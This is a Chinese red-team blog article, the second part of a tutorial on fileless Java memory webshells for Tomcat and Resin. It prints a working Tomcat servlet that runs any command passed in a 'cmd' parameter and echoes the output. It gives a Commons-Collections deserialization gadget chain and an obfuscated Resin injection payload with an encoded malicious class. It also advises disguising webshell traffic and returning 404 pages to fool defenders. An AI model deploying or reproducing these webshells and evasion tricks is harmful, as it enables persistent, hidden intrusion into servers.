免责声明
免责声明
本公众号致力于安全研究和红队攻防技术分享等内容,本文中所有涉及的内容均不针对任何厂商或个人,同时由于传播、利用本公众号所发布的技术或工具造成的任何直接或者间接的后果及损失,均由使用者本人承担。请遵守中华人民共和国相关法律法规,切勿利用本公众号发布的技术或工具从事违法犯罪活动。最后,文中提及的图文若无意间导致了侵权问题,请在公众号后台私信联系作者,进行删除操作。
上个篇章简单从tomcat的运行原理介绍了内存马为什么可行,以及实现的思想主要就是借助java反射的灵活性,动态创建servlet、filter、linstener以及Spring框架下创建controller等。
但是由于篇幅有限,仅仅给出了一个传统jsp打入内存马的案例,今天这篇文章,将会介绍真正的无文件内存马(不借助jsp)以及内存马的几个实用性改造。
这种内存马的适用场景在于反序列化、JNDI、模版注入等可以任意代码执行的漏洞场景下。由于该系列面向的是小白,所以并不过多展开讲反序列化等漏洞的原理,仅给出推荐的学习路线,网上也很有很多非常优质的学习资料,推荐Su18大佬的博客和p牛的java安全漫谈。
在第一章我们打入内存马的姿势是借助jsp文件,在jsp中request和response都是内置对象,我们可以很轻松的获取到所以不需要考虑回显问题,但是在反序列化打入内存马的时候我们该如何拿到这些对象?这边推荐一篇文章:https://xz.aliyun.com/t/9914。
调用链如下:
Thread.currentThread().getThreadGroup() —>
NioEndpoint$Poller —>
NioEndpoint—>
AbstractProtocol$ConnectoinHandler—>
RequestGroupInfo(global)—>
RequestInfo—>
Request–>
Response
示例代码
import org.apache.coyote.*;
import javax.servlet.ServletException;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStreamReader;
import java.io.Writer;
import java.lang.reflect.Field;
import java.util.ArrayList;
"TomcaEchoServlet", value = "/TomcatEchoServlet") (name =
public class TomcatEchoServlet extends HttpServlet {
protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
boolean flag=false;
String cmd = request.getParameter("cmd");
try {
Thread[] threads = (Thread[]) getField(Thread.currentThread().getThreadGroup(),"threads");
for(int i=0;i< threads.length;i++){
Thread thread=threads[i];
String threadName=thread.getName();
try{
Object target= getField(thread,"target");
Object this0=getField(target,"this$0");
Object handler=getField(this0,"handler");
Object global=getField(handler,"global");
ArrayList processors=(ArrayList) getField(global,"processors");
for (int j = 0; j < processors.size(); j++) {
RequestInfo requestInfo = (RequestInfo) processors.get(j);
if(requestInfo!=null){
Request req=(Request) getField(requestInfo,"req");
org.apache.catalina.connector.Request request1 =(org.apache.catalina.connector.Request) req.getNote(1);
org.apache.catalina.connector.Response response1 =request1.getResponse();
Runtime r = java.lang.Runtime.getRuntime();
Writer writer=response.getWriter();
writer.flush();
try {
Process p = r.exec(cmd);
BufferedReader br = new BufferedReader(new InputStreamReader(p.getInputStream()),1024);
while (br.read()!=-1){
writer.write(br.readLine());
}
}catch (Exception e){}
flag=true;
if(flag){
break;
}
}
}
}catch (Exception e){
e.printStackTrace();
}
if(flag){
break;
}
}
} catch (Exception e){
e.printStackTrace();
}
}
public static Object getField(Object obj,String fieldName) throws Exception{
Field field=null;
Class clas=obj.getClass();
while(clas!=Object.class){
try{
field=clas.getDeclaredField(fieldName);
break;
}catch (NoSuchFieldException e){
clas=clas.getSuperclass();
}
}
if (field!=null){
field.setAccessible(true);
return field.get(obj);
}else{
throw new NoSuchFieldException(fieldName);
}
}
protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
}
}
运行效果:
我们在讲反序列化前再回顾一下内存马的前置条件,第一章有提到是需要能动态注册那些恶意servlet、listener、filer,CC11这条链在CommonsCollections3.1-3.2.1版本、无JDK版本限制打入内存马。
利用链如下:
java.io.objectInputstream.readObject() ->
java.util.Hashset.readobject() ->
java.util.HashMap.put() ->
java.util.HashMap.hash() ->
org.apache.commons.collections.keyvalue.TiedMapEntry.hashcode() ->
org.apache.commons.collections.keyvalue.TiedMapEntry.getvalue() ->
org.apache.commons.collections.map.LazyMap.get() ->
org.apache.commons.collections.functors.InvokerTransformer.transform() ->
java.lang.reflect.Method.invoke()
... templates gadgets ...
java.lang.Runtime.exec()
相关基础知识可以补课java安全漫谈的反射篇(1,2,3)、《Java中动态加载字节码的那些方法》。
鉴于此篇主要是面向的是java小白,所以在反序列化和类加载这类原理上没有过多赘述,直接给出一些实用性的建议,目前很多工具已经实现了一键打入内存马,所以我们很多情况下只要做个脚本小子就好了。
不过,默认的冰蝎、哥斯拉往往都是流量设备重点关注对象,我们可以考虑在流量层面做一些改造,如将哥斯拉的通讯流量伪装成文件上传的包,或者改成json的包来欺骗流量设备。我们还可以自定义请求头使用getheader来判断是否为我们的客户端发送的包,如果是防守方直接请求而且没有带着我们指定的header就返回404,从而让其认为页面不存在。
客户端方面,我们可以使用随机变化的请求资源地址,使用filer或者valve类型的内存马,他们不需要特定路径全局生效,这样可以避免对同一路径造成过多的请求。
如果是有一定diy能力的小伙伴,可以尝试一下更加灵活的小马拉大马思路,小马是一个JavaScriptEngine,他也可以执行任意代码,通过构造不同的poc来实现不同的功能,这边给出一个Resin内存马的案例。
new
javax.script.ScriptEngineManager().getEngineByName("js").eval(request.getParameter("cod
e"), new javax.script.SimpleBindings(new java.util.HashMap() {{
put("response", response);
put("request", request);
}}));
code=url=String.fromCharCode(47,113,97,120,110,98);name=String.fromCharCode(113,97,120,110,98);req=java.lang.Thread.currentThread().getContextClassLoader().loadClass(String.fromCharCode(99,111,109,46,99,97,117,99,104,111,46,115,101,114,118,101,114,46,100,105,115,112,97,116,99,104,46,83,101,114,118,108,101,116,73,110,118,111,99,97,116,105,111,110)).getMethod(String.fromCharCode(103,101,116,67,111,110,116,101,120,116,82,101,113,117,101,115,116)).invoke(null);en=req.getParameter(String.fromCharCode(99));print(en);cb=java.util.Base64.getDecoder().decode(en);loader = java.lang.Thread.currentThread().getContextClassLoader();methods = java.lang.ClassLoader.class.getDeclaredMethods();for(m in methods){if(methods[m].getName().equals(String.fromCharCode(100,101,102,105,110,101,67,108,97,115,115))){if(methods[m].getParameterCount()==3) {if(methods[m].getParameterTypes()[0].getName()!=String.fromCharCode(106,97,118,97,46,108,97,110,103,46,83,116,114,105,110,103)){print(methods[m]);dfm=methods[m];}}}}dfm.setAccessible(true);scs=dfm.invoke(loader,cb,0,cb.length);webapp=req.getClass().getMethod(String.fromCharCode(103,101,116,87,101,98,65,112,112)).invoke(req);sm=new com.caucho.server.dispatch.ServletMapping();sm.addURLPattern(url);sm.setServletName(name);sm.setServletClass(scs.getName());webapp.addServletMapping(sm);print(req.getParameter(String.fromCharCode(99)));&c=yv66vgAAADQAuAoALQBRCQBSAFMIAFQKAFUAVgsAVwBYBwBZCgAGAFEIAEcKAAYAWggASQgANwgAWwgAXAsAXQBeCABfCgBgAGEHAGIKAGMAZAoAEQBlCgBgAGYIAGcKABgAaAgAaQcAagcAQgkAawBsCgAYAG0KAG4AbwcAcAoAHQBRCwBXAHEKAHIAcwoAHQB0CgBgAHUKACUAdgoAGAB3BwB4CgBrAHkKAG4AegoAGAB7CgAlAHwHAH0KACoAfgcAfwcAgAEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAR0aGlzAQAKTG1zL1Jlc2luOwEABmRvUG9zdAEAUihMamF2YXgvc2VydmxldC9odHRwL0h0dHBTZXJ2bGV0UmVxdWVzdDtMamF2YXgvc2VydmxldC9odHRwL0h0dHBTZXJ2bGV0UmVzcG9uc2U7KVYBAAdzZXNzaW9uAQAgTGphdmF4L3NlcnZsZXQvaHR0cC9IdHRwU2Vzc2lvbjsBAAtwYWdlQ29udGV4dAEAE0xqYXZhL3V0aWwvSGFzaE1hcDsBAAFrAQASTGphdmEvbGFuZy9TdHJpbmc7AQABYwEAFUxqYXZheC9jcnlwdG8vQ2lwaGVyOwEABm1ldGhvZAEAGkxqYXZhL2xhbmcvcmVmbGVjdC9NZXRob2Q7AQAOZXZpbGNsYXNzX2J5dGUBAAJbQgEACWV2aWxjbGFzcwEAEUxqYXZhL2xhbmcvQ2xhc3M7AQABZQEAFUxqYXZhL2xhbmcvRXhjZXB0aW9uOwEAB3JlcXVlc3QBACdMamF2YXgvc2VydmxldC9odHRwL0h0dHBTZXJ2bGV0UmVxdWVzdDsBAAhyZXNwb25zZQEAKExqYXZheC9zZXJ2bGV0L2h0dHAvSHR0cFNlcnZsZXRSZXNwb25zZTsBAA1TdGFja01hcFRhYmxlBwB9AQAKRXhjZXB0aW9ucwcAgQEAClNvdXJjZUZpbGUBAApSZXNpbi5qYXZhDAAuAC8HAIIMAIMAhAEAHT09PT09PT09PT1EbyBmaWx0ZXI9PT09PT09PT09BwCFDACGAIcHAIgMAIkAigEAEWphdmEvdXRpbC9IYXNoTWFwDACLAIwBABBlNDVlMzI5ZmViNWQ5MjViAQABdQcAjQwAjgCPAQADQUVTBwCQDACRAJIBAB9qYXZheC9jcnlwdG8vc3BlYy9TZWNyZXRLZXlTcGVjBwCTDACUAJUMAC4AlgwAlwCYAQAVamF2YS5sYW5nLkNsYXNzTG9hZGVyDACZAJoBAAtkZWZpbmVDbGFzcwEAD2phdmEvbGFuZy9DbGFzcwcAmwwAnABEDACdAJ4HAJ8MAKAAoQEAFnN1bi9taXNjL0JBU0U2NERlY29kZXIMAKIAowcApAwApQCmDACnAKgMAKkAqgwAqwCsDACtAK4BABBqYXZhL2xhbmcvT2JqZWN0DACvALAMALEAsgwAswC0DAC1ALYBABNqYXZhL2xhbmcvRXhjZXB0aW9uDAC3AC8BAAhtcy9SZXNpbgEAHmphdmF4L3NlcnZsZXQvaHR0cC9IdHRwU2VydmxldAEAE2phdmEvaW8vSU9FeGNlcHRpb24BABBqYXZhL2xhbmcvU3lzdGVtAQADb3V0AQAVTGphdmEvaW8vUHJpbnRTdHJlYW07AQATamF2YS9pby9QcmludFN0cmVhbQEAB3ByaW50bG4BABUoTGphdmEvbGFuZy9TdHJpbmc7KVYBACVqYXZheC9zZXJ2bGV0L2h0dHAvSHR0cFNlcnZsZXRSZXF1ZXN0AQAKZ2V0U2Vzc2lvbgEAIigpTGphdmF4L3NlcnZsZXQvaHR0cC9IdHRwU2Vzc2lvbjsBAANwdXQBADgoTGphdmEvbGFuZy9PYmplY3Q7TGphdmEvbGFuZy9PYmplY3Q7KUxqYXZhL2xhbmcvT2JqZWN0OwEAHmphdmF4L3NlcnZsZXQvaHR0cC9IdHRwU2Vzc2lvbgEACHB1dFZhbHVlAQAnKExqYXZhL2xhbmcvU3RyaW5nO0xqYXZhL2xhbmcvT2JqZWN0OylWAQATamF2YXgvY3J5cHRvL0NpcGhlcgEAC2dldEluc3RhbmNlAQApKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YXgvY3J5cHRvL0NpcGhlcjsBABBqYXZhL2xhbmcvU3RyaW5nAQAIZ2V0Qnl0ZXMBAAQoKVtCAQAXKFtCTGphdmEvbGFuZy9TdHJpbmc7KVYBAARpbml0AQAXKElMamF2YS9zZWN1cml0eS9LZXk7KVYBAAdmb3JOYW1lAQAlKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL0NsYXNzOwEAEWphdmEvbGFuZy9JbnRlZ2VyAQAEVFlQRQEAEWdldERlY2xhcmVkTWV0aG9kAQBAKExqYXZhL2xhbmcvU3RyaW5nO1tMamF2YS9sYW5nL0NsYXNzOylMamF2YS9sYW5nL3JlZmxlY3QvTWV0aG9kOwEAGGphdmEvbGFuZy9yZWZsZWN0L01ldGhvZAEADXNldEFjY2Vzc2libGUBAAQoWilWAQAJZ2V0UmVhZGVyAQAaKClMamF2YS9pby9CdWZmZXJlZFJlYWRlcjsBABZqYXZhL2lvL0J1ZmZlcmVkUmVhZGVyAQAIcmVhZExpbmUBABQoKUxqYXZhL2xhbmcvU3RyaW5nOwEADGRlY29kZUJ1ZmZlcgEAFihMamF2YS9sYW5nL1N0cmluZzspW0IBAAdkb0ZpbmFsAQAGKFtCKVtCAQAIZ2V0Q2xhc3MBABMoKUxqYXZhL2xhbmcvQ2xhc3M7AQAOZ2V0Q2xhc3NMb2FkZXIBABkoKUxqYXZhL2xhbmcvQ2xhc3NMb2FkZXI7AQAHdmFsdWVPZgEAFihJKUxqYXZhL2xhbmcvSW50ZWdlcjsBAAZpbnZva2UBADkoTGphdmEvbGFuZy9PYmplY3Q7W0xqYXZhL2xhbmcvT2JqZWN0OylMamF2YS9sYW5nL09iamVjdDsBAAtuZXdJbnN0YW5jZQEAFCgpTGphdmEvbGFuZy9PYmplY3Q7AQAGZXF1YWxzAQAVKExqYXZhL2xhbmcvT2JqZWN0OylaAQAPcHJpbnRTdGFja1RyYWNlACEALAAtAAAAAAACAAEALgAvAAEAMAAAAC8AAQABAAAABSq3AAGxAAAAAgAxAAAABgABAAAADgAyAAAADAABAAAABQAzADQAAAABADUANgACADAAAAHIAAYACgAAANuyAAISA7YABCu5AAUBAE67AAZZtwAHOgQZBBIIK7YACVcZBBIKLLYACVcZBBILLbYACVcSDDoFLRINGQW5AA4DABIPuAAQOgYZBgW7ABFZGQW2ABISD7cAE7YAFBIVuAAWEhcGvQAYWQMSGVNZBLIAGlNZBbIAGlO2ABs6BxkHBLYAHBkGuwAdWbcAHiu5AB8BALYAILYAIbYAIjoIGQcqtgAjtgAkBr0AJVkDGQhTWQQDuAAmU1kFGQi%2BuAAmU7YAJ8AAGDoJGQm2ACgZBLYAKVenAAhOLbYAK7EAAQAAANIA1QAqAAMAMQAAAE4AEwAAABEACAASAA8AEwAYABQAIQAVACoAFgAzABcANwAYAEEAGQBIABoAXAAbAH0AHACDAB0AnQAeAMcAHwDSACIA1QAgANYAIQDaACMAMgAAAHAACwAPAMMANwA4AAMAGAC6ADkAOgAEADcAmwA7ADwABQBIAIoAPQA%2BAAYAfQBVAD8AQAAHAJ0ANQBBAEIACADHAAsAQwBEAAkA1gAEAEUARgADAAAA2wAzADQAAAAAANsARwBIAAEAAADbAEkASgACAEsAAAAJAAL3ANUHAEwEAE0AAAAEAAEATgABAE8AAAACAFA%3D
匿名函数星球已经迁移到纷传平台,并设置88元永久VIP,限前200名加入者,加入小密圈后,你将收获小队自研内部工具,最前沿的小队成员红队经验总结,最新的安全学习资料和工具分享。
加入我们一起学习
本公众号是一群热爱网安事业的一线红队队员发起成立的,我们旨在分享最前沿的研究成果,拒绝复制黏贴,打造最硬核的公众号,加入我们的交流群一起学习后台私信“加群”,里面有众多红队大佬、审计狗、SRC爱好者。群内同时为了更大程度上分享硬核内容,成立了纷传小密圈,详情请关注下发二维码。(如果群二维码失效,请后台私信“小助手”添加)
关于Lambda小队
Lambda小队经过多年的一线红队磨炼,取得了众多辉煌的战绩,同时也积淀了丰富的实战经验,后续将为大家带来更多一线的实战经历和研究成果。
原文始发于微信公众号(Lambda小队):内存马再学不会我给你(二)拳奥